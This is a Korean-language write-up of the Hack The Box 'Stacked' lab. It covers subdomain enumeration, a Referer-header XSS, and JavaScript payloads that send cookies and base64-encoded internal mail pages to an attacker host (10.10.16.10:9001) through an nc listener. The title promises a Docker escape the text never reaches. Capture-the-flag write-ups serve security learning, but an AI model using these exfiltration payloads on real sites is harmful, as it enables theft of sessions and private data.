홈으로 돌아가기

HTB Stacked: XSS 및 Docker 탈출 워크쓰루

Hack The Box의 Stacked 머신은 공격 체인을 보여줍니다: ffuf를 통한 vhost 열거부터 Referer의 XSS, 내부 메일 서버 프록시 및 Docker 컨테이너 탈출을 통한 RCE. nmap, gobuster 명령어, 페이로드 및 LocalStack 아키텍처의 상세 분석.

HTB Stacked의 XSS를 통한 Docker 탈출
Advertisement 728x90

HTB Stacked에서 XSS와 RCE를 통한 Docker 컨테이너 탈출

nmap으로 10.129.228.28 호스트를 스캔한 결과 열린 포트를 확인했습니다: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41), 2376 (TLS가 적용된 Docker 데몬). /etc/hosts에 항목을 추가한 후 80번 포트는 stacked.htb 도메인을 호스팅합니다. 메인 페이지에는 이메일 필드가 있지만 제출 시 가시적인 네트워크 트래픽은 발생하지 않습니다.

common.txt를 사용한 gobuster 디렉토리 무차별 대입은 결과를 내지 못했습니다. subdomains-top1million-5000.txt를 사용한 ffuf 가상 호스트 열거로 단어 필터(-fw 18)를 적용해 portfolio.stacked.htb를 발견했습니다.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

portfolio.stacked.htb와 LocalStack 분석

portfolio.stacked.htb 사이트는 Docker 컨테이너에서 AWS 서비스를 로컬로 에뮬레이트하는 LocalStack을 사용하는 Stacked 회사를 설명합니다. docker-compose.yml 파일을 이용할 수 있으며 노출된 포트는 다음과 같습니다:

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (LocalStack API)
  • 4571 (Elasticsearch로 추정)
  • 8080 (웹 UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

페이지 하단에는 추가 악용 가능성이 있는 생성 연도가 표시됩니다.

XSS 발견 및 악용

portfolio.stacked.htb의 개인 데이터 제출 양식은 HTML 태그를 반영하며 "xss detected!" 메시지를 표시합니다. /process.php에 대한 요청 본문에 직접 주입하는 것은 이중 URL 인코딩을 사용해도 실패합니다.

헤더(User-Agent, Origin, Referer)를 테스트한 결과 Referer에 취약점이 있음을 발견했습니다. 페이로드 <script src="http://10.10.16.10/test.js"></script>가 성공적으로 실행됩니다:

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

쿠키는 HttpOnly로 보호됩니다. document.location으로 전환하여 출처를 확인했습니다: http://mail.stacked.htb/read-mail.php?id=2.

XSS를 통한 CSRF 공격으로 mail.stacked.htb 접근

새로운 서브도메인 mail.stacked.htb는 외부 요청을 리디렉션합니다. 피해자 XSS를 통해 프록시를 구현합니다:

  • <script src="http://10.10.16.10/exploit.js"></script>를 주입합니다.
  • 스크립트가 내부 페이지를 요청하고 base64로 인코딩한 후 공격자:9001로 전송합니다.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

받은 편지함에는 Jeremy Taint로부터 S3 인스턴스(id=1) 시작에 관한 이메일이 포함되어 있습니다. 네트워크 제한으로 인해 CSS/이미지는 로드되지 않습니다.

Google AdInline article slot

핵심 요약

  • Referer 헤더의 XSS는 피해자 컨텍스트에서 JS 실행으로 이어집니다.
  • XMLHttpRequest를 통한 Base64 프록시는 Docker 네트워크 제한을 우회합니다.
  • LocalStack docker-compose는 내부 포트와 아키텍처를 드러냅니다.
  • 디렉토리 무차별 대입이 실패할 때 가상 호스트 열거가 중요합니다.
  • ffuf 단어 필터(-fw)는 동적 오류 콘텐츠 문제를 해결합니다.

— Editorial Team

Advertisement 728x90

다음 읽기